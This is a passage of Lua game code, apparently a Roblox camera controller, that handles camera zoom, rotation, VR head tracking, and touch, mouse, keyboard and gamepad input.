VR_LOW_INTENSITY_ROTATION elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_ROTATION end end return ZERO_VECTOR2 end function this:GetRepeatDelayValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_REPEAT elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_REPEAT end end return 0 end this.ShiftLock = false this.Enabled = false local isFirstPerson = false local isRightMouseDown = false local isMiddleMouseDown = false this.RotateInput = ZERO_VECTOR2 this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM this.activeGamepad = nil local tweens = {} this.lastSubject = nil this.lastSubjectPosition = Vector3.new(0, 5, 0) local lastVRRotation = 0 local vrRotateKeyCooldown = {} local isDynamicThumbstickEnabled = false -- Check for changes in ViewportSize to decide if PortraitMode local CameraChangedConn = nil local workspaceCameraChangedConn = nil local function onWorkspaceCameraChanged() if UserInputService.TouchEnabled then if CameraChangedConn then CameraChangedConn:Disconnect() CameraChangedConn = nil end local newCamera = workspace.CurrentCamera if newCamera then local size = newCamera.ViewportSize PortraitMode = size.X < size.Y layoutGestureArea(PortraitMode) DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() size = newCamera.ViewportSize PortraitMode = size.X < size.Y layoutGestureArea(PortraitMode) DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM end) end end end workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged) if workspace.CurrentCamera then onWorkspaceCameraChanged() end function this:GetShiftLock() return ShiftLockController:IsShiftLocked() end function this:GetHumanoid() local player = PlayersService.LocalPlayer return findPlayerHumanoid(player) end function this:GetHumanoidRootPart() local humanoid = this:GetHumanoid() return humanoid and humanoid.Torso end function this:GetRenderCFrame(part) GetRenderCFrame(part) end local STATE_DEAD = Enum.HumanoidStateType.Dead -- HumanoidRootPart when alive, Head part when dead local function getHumanoidPartToFollow(humanoid, humanoidStateType) if humanoidStateType == STATE_DEAD then local character = humanoid.Parent if character then return character:FindFirstChild("Head") or humanoid.Torso else return humanoid.Torso end else return humanoid.Torso end end local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead function this:GetSubjectPosition() local result = nil local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA('Humanoid') then local humanoidStateType = cameraSubject:GetState() if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then result = this.lastSubjectPosition else local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType) if humanoidRootPart and humanoidRootPart:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(humanoidRootPart) local heightOffset = ZERO_VECTOR3 if humanoidStateType ~= STATE_DEAD then heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET end result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset) end end elseif cameraSubject:IsA('VehicleSeat') then local subjectCFrame = GetRenderCFrame(cameraSubject) local offset = SEAT_OFFSET if VRService.VREnabled then offset = VR_SEAT_OFFSET end result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA('SkateboardPlatform') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + SEAT_OFFSET elseif cameraSubject:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p elseif cameraSubject:IsA('Model') then result = cameraSubject:GetModelCFrame().p end end this.lastSubject = cameraSubject this.lastSubjectPosition = result return result end function this:ResetCameraLook() end function this:GetCameraLook() return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1) end function this:GetCameraZoom() if this.currentZoom == nil then local player = PlayersService.LocalPlayer this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom end return this.currentZoom end function this:GetCameraActualZoom() local camera = workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end end function this:GetCameraHeight() if VRService.VREnabled and not this:IsInFirstPerson() then local zoom = this:GetCameraZoom() return math.sin(VR_ANGLE) * zoom end return 0 end function this:ViewSizeX() local result = 1024 local camera = workspace.CurrentCamera if camera then result = camera.ViewportSize.X end return result end function this:ViewSizeY() local result = 768 local camera = workspace.CurrentCamera if camera then result = camera.ViewportSize.Y end return result end local math_asin = math.asin local math_atan2 = math.atan2 local math_floor = math.floor local math_max = math.max local math_pi = math.pi local Vector2_new = Vector2.new local Vector3_new = Vector3.new local CFrame_Angles = CFrame.Angles local CFrame_new = CFrame.new function this:ScreenTranslationToAngle(translationVector) local screenX = this:ViewSizeX() local screenY = this:ViewSizeY() local xTheta = (translationVector.x / screenX) local yTheta = (translationVector.y / screenY) return Vector2_new(xTheta, yTheta) end function this:MouseTranslationToAngle(translationVector) local xTheta = (translationVector.x / 1920) local yTheta = (translationVector.y / 1200) return Vector2_new(xTheta, yTheta) end function this:RotateVector(startVector, xyRotateVector) local startCFrame = CFrame_new(ZERO_VECTOR3, startVector) local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y) end function this:RotateCamera(startLook, xyRotateVector) if VRService.VREnabled then local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0)) return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector else local startVertical = math_asin(startLook.y) local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y) return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta)) end end function this:IsInFirstPerson() return isFirstPerson end -- there are several cases to consider based on the state of input and camera rotation mode function this:UpdateMouseBehavior() -- first time transition to first person mode or shiftlock if isFirstPerson or self:GetShiftLock() then pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end) if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter end else pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end) if isRightMouseDown or isMiddleMouseDown then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition else UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end function this:ZoomCamera(desiredZoom) local player = PlayersService.LocalPlayer if player then if player.CameraMode == Enum.CameraMode.LockFirstPerson then this.currentZoom = 0 else this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom) end end isFirstPerson = self:GetCameraZoom() < 2 ShiftLockController:SetIsInFirstPerson(isFirstPerson) -- set mouse behavior self:UpdateMouseBehavior() return self:GetCameraZoom() end function this:rk4Integrator(position, velocity, t) local direction = velocity < 0 and -1 or 1 local function acceleration(p, v) local accel = direction * math_max(1, (p / 3.3) + 0.5) return accel end local p1 = position local v1 = velocity local a1 = acceleration(p1, v1) local p2 = p1 + v1 * (t / 2) local v2 = v1 + a1 * (t / 2) local a2 = acceleration(p2, v2) local p3 = p1 + v2 * (t / 2) local v3 = v1 + a2 * (t / 2) local a3 = acceleration(p3, v3) local p4 = p1 + v3 * t local v4 = v1 + a3 * t local a4 = acceleration(p4, v4) local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6) local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6) return positionResult, velocityResult end function this:ZoomCameraBy(zoomScale) local zoom = this:GetCameraActualZoom() if zoom then -- Can break into more steps to get more accurate integration zoom = self:rk4Integrator(zoom, zoomScale, 1) self:ZoomCamera(zoom) end return self:GetCameraZoom() end function this:ZoomCameraFixedBy(zoomIncrement) return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement) end function this:Update() end ----- VR STUFF ------ function this:ApplyVRTransform() if not VRService.VREnabled then return end --we only want this to happen in first person VR local player = PlayersService.LocalPlayer if not (player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then return end local camera = workspace.CurrentCamera local cameraSubject = camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') if this:IsInFirstPerson() and not isInVehicle then local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head) local vrRotation = vrFrame - vrFrame.p local rootJoint = player.Character.HumanoidRootPart.RootJoint rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) else local rootJoint = player.Character.HumanoidRootPart.RootJoint rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) end end local vrRotationIntensityExists = true local lastVrRotationCheck = 0 function this:ShouldUseVRRotation() if not VRService.VREnabled then return false end if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end) vrRotationIntensityExists = success and vrRotationIntensity ~= nil lastVrRotationCheck = tick() return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth" end function this:GetVRRotationInput() local vrRotateSum = ZERO_VECTOR2 local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity") local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2 local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity) if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then local sign = 1 if vrGamepadRotation.x < 0 then sign = -1 end vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true end elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil end if self.TurningLeft then if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity) vrRotateKeyCooldown[Enum.KeyCode.Left] = true end else vrRotateKeyCooldown[Enum.KeyCode.Left] = nil end if self.TurningRight then if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) vrRotateKeyCooldown[Enum.KeyCode.Right] = true end else vrRotateKeyCooldown[Enum.KeyCode.Right] = nil end if vrRotateSum ~= ZERO_VECTOR2 then lastVRRotation = tick() end return vrRotateSum end local cameraTranslationConstraints = Vector3.new(1, 1, 1) local humanoidJumpOrigin = nil local trackingHumanoid = nil local cameraFrozen = false local subjectStateChangedConn = nil local cameraSubjectChangedConn = nil local workspaceChangedConn = nil local humanoidChildAddedConn = nil local humanoidChildRemovedConn = nil local function cancelCameraFreeze(keepConstraints) if not keepConstraints then cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z) end if cameraFrozen then trackingHumanoid = nil cameraFrozen = false end end local function startCameraFreeze(subjectPosition, humanoidToTrack) if not cameraFrozen then humanoidJumpOrigin = subjectPosition trackingHumanoid = humanoidToTrack cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z) cameraFrozen = true end end local function rescaleCameraOffset(newScaleFactor) R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor end local function onHumanoidSubjectChildAdded(child) if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then if heightScaleChangedConn then heightScaleChangedConn:disconnect() end heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset) rescaleCameraOffset(child.Value) end end local function onHumanoidSubjectChildRemoved(child) if child.Name == "BodyHeightScale" then rescaleCameraOffset(1) if heightScaleChangedConn then heightScaleChangedConn:disconnect() heightScaleChangedConn = nil end end end local function onNewCameraSubject() if subjectStateChangedConn then subjectStateChangedConn:disconnect() subjectStateChangedConn = nil end if humanoidChildAddedConn then humanoidChildAddedConn:disconnect() humanoidChildAddedConn = nil end if humanoidChildRemovedConn then humanoidChildRemovedConn:disconnect() humanoidChildRemovedConn = nil end if heightScaleChangedConn then heightScaleChangedConn:disconnect() heightScaleChangedConn = nil end local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject if trackingHumanoid ~= humanoid then cancelCameraFreeze() end if humanoid and humanoid:IsA('Humanoid') then humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded) humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved) for _, child in pairs(humanoid:GetChildren()) do onHumanoidSubjectChildAdded(child) end subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState) if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then startCameraFreeze(this:GetSubjectPosition(), humanoid) elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then cancelCameraFreeze(true) end end) end end local function onCurrentCameraChanged() if cameraSubjectChangedConn then cameraSubjectChangedConn:disconnect() cameraSubjectChangedConn = nil end local camera = workspace.CurrentCamera if camera then cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject) onNewCameraSubject() end end function this:GetVRFocus(subjectPosition, timeDelta) local newFocus = nil local camera = workspace.CurrentCamera local lastFocus = self.LastCameraFocus or subjectPosition if not cameraFrozen then cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z) end if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z)) else newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y)) end if cameraFrozen then -- No longer in 3rd person if self:IsInFirstPerson() then -- not VRService.VREnabled cancelCameraFreeze() end -- This case you jumped off a cliff and want to keep your character in view -- 0.5 is to fix floating point error when not jumping off cliffs if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then cancelCameraFreeze() end end return newFocus end ------------------------ ---- Input Events ---- local startPos = nil local lastPos = nil local panBeginLook = nil local lastTapTime = nil local fingerTouches = {} local NumUnsunkTouches = 0 local inputStartPositions = {} local inputStartTimes = {} local StartingDiff = nil local pinchBeginZoom = nil this.ZoomEnabled = true this.PanEnabled = true this.KeyPanEnabled = true local function OnTouchBegan(input, processed) --If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea if (not touchWorkspaceEventEnabled and not isDynamicThumbstickEnabled) or positionIntersectsGuiObject(input.Position, GestureArea) then fingerTouches[input] = processed if not processed then inputStartPositions[input] = input.Position inputStartTimes[input] = tick() NumUnsunkTouches = NumUnsunkTouches + 1 end end end local function OnTouchChanged(input, processed) if fingerTouches[input] == nil then if isDynamicThumbstickEnabled then return end fingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end if NumUnsunkTouches == 1 then if fingerTouches[input] == false then panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true local delta = input.Position - lastPos delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue()) if this.PanEnabled then local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = input.Position end else panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end if NumUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if StartingDiff and pinchBeginZoom then local scale = difference / math_max(0.01, StartingDiff) local clampedScale = clamp(0.1, 10, scale) if this.ZoomEnabled then this:ZoomCamera(pinchBeginZoom / clampedScale) end else StartingDiff = difference pinchBeginZoom = this:GetCameraActualZoom() end end else StartingDiff = nil pinchBeginZoom = nil end end local function calcLookBehindRotateInput(torso) if torso then local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end return Vector2.new(horizontalShift, vertShift) end return nil end local OnTouchTap = nil if not touchWorkspaceEventEnabled then OnTouchTap = function(position) if isDynamicThumbstickEnabled and not IsAToolEquipped then if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then local tween = { from = this:GetCameraZoom(), to = DefaultZoom, start = tick(), duration = 0.2, func = function(from, to, alpha) this:ZoomCamera(from + (to - from)*alpha) return to end } tweens["Zoom"] = tween else local humanoid = this:GetHumanoid() if humanoid then local player = PlayersService.LocalPlayer if player and player.Character then if humanoid and humanoid.Torso then local tween = { from = this.RotateInput, to = calcLookBehindRotateInput(humanoid.Torso), start = tick(), duration = 0.2, func = function(from, to, alpha) to = calcLookBehindRotateInput(humanoid.Torso) if to then this.RotateInput = from + (to - from)*alpha end return to end } tweens["Rotate"] = tween -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end end end end lastTapTime = tick() end end end local function IsTouchTap(input) -- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type. if inputStartPositions[input] then local posDelta = (inputStartPositions[input] - input.Position).magnitude if posDelta < MAX_TAP_POS_DELTA then local timeDelta = inputStartTimes[input] - tick() if timeDelta < MAX_TAP_TIME_DELTA then return true end end end return false end local function OnTouchEnded(input, processed) if fingerTouches[input] == false then if NumUnsunkTouches == 1 then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false if not touchWorkspaceEventEnabled and IsTouchTap(input) then OnTouchTap(input.Position) end elseif NumUnsunkTouches == 2 then StartingDiff = nil pinchBeginZoom = nil end end if fingerTouches[input] ~= nil and fingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end fingerTouches[input] = nil inputStartPositions[input] = nil inputStartTimes[input] = nil end local function OnMousePanButtonPressed(input, processed) if processed then return end this:UpdateMouseBehavior() panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true end local function OnMousePanButtonReleased(input, processed) this:UpdateMouseBehavior() if not (isRightMouseDown or isMiddleMouseDown) then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end end local function OnMouse2Down(input, processed) if processed then return end isRightMouseDown = true OnMousePanButtonPressed(input, processed) end local function OnMouse2Up(input, processed) isRightMouseDown = false OnMousePanButtonReleased(input, processed) end local function OnMouse3Down(input, processed) if processed then return end isMiddleMouseDown = true OnMousePanButtonPressed(input, processed) end local function OnMouse3Up(input, processed) isMiddleMouseDown = false OnMousePanButtonReleased(input, processed) end local function OnMouseMoved(input, processed) if not hasGameLoaded and VRService.VREnabled then return end local inputDelta = input.Delta inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue()) if startPos and lastPos and panBeginLook then local currPos = lastPos + input.Delta local totalTrans = currPos - startPos if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = currPos elseif this:IsInFirstPerson() or this:GetShiftLock() then if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end end end local function OnMouseWheel(input, processed) if not hasGameLoaded and VRService.VREnabled then return end if not processed then if this.ZoomEnabled then this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4) end end end local function round(num) return math_floor(num + 0.5) end local eight2Pi = math_pi / 4 local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount) if camLook ~= ZERO_VECTOR3 then camLook = camLook.unit local currAngle = math_atan2(camLook.z, camLook.x) local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end local function OnKeyDown(input, processed) if not hasGameLoaded and VRService.VREnabled then return end if processed then return end if this.ZoomEnabled then if input.KeyCode == Enum.KeyCode.I then -- this:ZoomCameraBy(-5) elseif input.KeyCode == Enum.KeyCode.O then -- this:ZoomCameraBy(5) end end if panBeginLook == nil and this.KeyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = true elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = true elseif input.KeyCode == Enum.KeyCode.Comma then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.Period then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.PageUp then --elseif input.KeyCode == Enum.KeyCode.Home then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15)) this.LastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then --elseif input.KeyCode == Enum.KeyCode.End then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15)) this.LastCameraTransform = nil end end end local function OnKeyUp(input, processed) if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = false elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = false end end local lastThumbstickRotate = nil local numOfSeconds = 0.7 local currentSpeed = 0 local maxSpeed = 6 local vrMaxSpeed = 4 local lastThumbstickPos = Vector2.new(0,0) local ySensitivity = 0.65 local lastVelocity = nil -- K is a tunable parameter that changes the shape of the S-curve -- the larger K is the more straight/linear the curve gets local k = 0.35 local lowerK = 0.8 local function SCurveTranform(t) t = clamp(-1,1,t) if t >= 0 then return (k*t) / (k - t + 1) end return -((lowerK*-t) / (lowerK + t + 1)) end -- DEADZONE local DEADZONE = 0.1 local function toSCurveSpace(t) return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE end local function fromSCurveSpace(t) return t/2 + 0.5 end local function gamepadLinearToCurve(thumbstickPosition) local function onAxis(axisValue) local sign = 1 if axisValue < 0 then sign = -1 end local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue)))) point = point * sign return clamp(-1, 1, point) end return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y)) end function this:UpdateGamepad() local gamepadPan = this.GamepadPanningCamera if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then gamepadPan = gamepadLinearToCurve(gamepadPan) local currentTime = tick() if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then this.userPanningTheCamera = true elseif gamepadPan == ZERO_VECTOR2 then lastThumbstickRotate = nil if lastThumbstickPos == ZERO_VECTOR2 then currentSpeed = 0 end end local finalConstant = 0 if lastThumbstickRotate then if VRService.VREnabled then currentSpeed = vrMaxSpeed else local elapsedTime = (currentTime - lastThumbstickRotate) * 10 currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds)) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end if lastVelocity then local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) local velocityDeltaMag = (velocity - lastVelocity).magnitude if velocityDeltaMag > 12 then currentSpeed = currentSpeed * (20/velocityDeltaMag) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end end end end local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end) finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) end lastThumbstickPos = gamepadPan lastThumbstickRotate = currentTime return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue()) end return ZERO_VECTOR2 end local InputBeganConn, InputChangedConn, InputEndedConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil function this:DisconnectInputEvents() if InputBeganConn then InputBeganConn:disconnect() InputBeganConn = nil end if InputChangedConn then InputChangedConn:disconnect() InputChangedConn = nil end if InputEndedConn then InputEndedConn:disconnect() InputEndedConn = nil end if MenuOpenedConn then MenuOpenedConn:disconnect() MenuOpenedConn = nil end if ShiftLockToggleConn then ShiftLockToggleConn:disconnect() ShiftLockToggleConn = nil end if GamepadConnectedConn then GamepadConnectedConn:disconnect() GamepadConnectedConn = nil end if GamepadDisconnectedConn then GamepadDisconnectedConn:disconnect() GamepadDisconnectedConn = nil end if subjectStateChangedConn then subjectStateChangedConn:disconnect() subjectStateChangedConn = nil end if workspaceChangedConn then workspaceChangedConn:disconnect() workspaceChangedConn = nil end if TouchActivateConn then TouchActivateConn:disconnect() TouchActivateConn = nil end this.TurningLeft = false this.TurningRight = false this.LastCameraTransform = nil self.LastSubjectCFrame = nil this.UserPanningTheCamera = false this.RotateInput = Vector2.new() this.GamepadPanningCamera = Vector2.new(0,0) -- Reset input states startPos = nil lastPos = nil panBeginLook = nil isRightMouseDown = false isMiddleMouseDown = false fingerTouches = {} NumUnsunkTouches = 0 StartingDiff = nil pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end function this:ResetInputStates() isRightMouseDown = false isMiddleMouseDown = false OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters if UserInputService.TouchEnabled then --[[menu opening was causing serious touch issues this should disable all active touch events if they're active when menu opens.]] for inputObject, value in pairs(fingerTouches) do fingerTouches[inputObject] = nil end panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false StartingDiff = nil pinchBeginZoom = nil NumUnsunkTouches = 0 end end function this.getGamepadPan(name, state, input) if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then if state == Enum.UserInputState.Cancel then this.GamepadPanningCamera = ZERO_VECTOR2 return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y) else this.GamepadPanningCamera = ZERO_VECTOR2 end end end function this.doGamepadZoom(name, state, input) if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then if this.ZoomEnabled then if this:GetCameraZoom() > 0.5 then this:ZoomCamera(0) else this:ZoomCamera(10) end end end end function this:BindGamepadInputActions() ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2) ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3) end function this:ConnectInputEvents() InputBeganConn = UserInputService.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then OnMouse2Down(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then OnMouse3Down(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyDown(input, processed) end end) InputChangedConn = UserInputService.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement then OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel then OnMouseWheel(input, processed) end end) InputEndedConn = UserInputService.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then OnMouse2Up(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then OnMouse3Up(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyUp(input, processed) end end) if touchWorkspaceEventEnabled then TouchActivateConn = UserInputService.TouchTapInWorld:connect(function(touchPos, processed) if isDynamicThumbstickEnabled and not processed and not IsAToolEquipped and positionIntersectsGuiObject(touchPos, GestureArea) then if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then local tween = { from = this:GetCameraZoom(), to = DefaultZoom, start = tick(), duration = 0.2, func = function(from, to, alpha) this:ZoomCamera(from + (to - from)*alpha) return to end } tweens["Zoom"] = tween else local humanoid = this:GetHumanoid() if humanoid then local player = PlayersService.LocalPlayer if player and player.Character then if 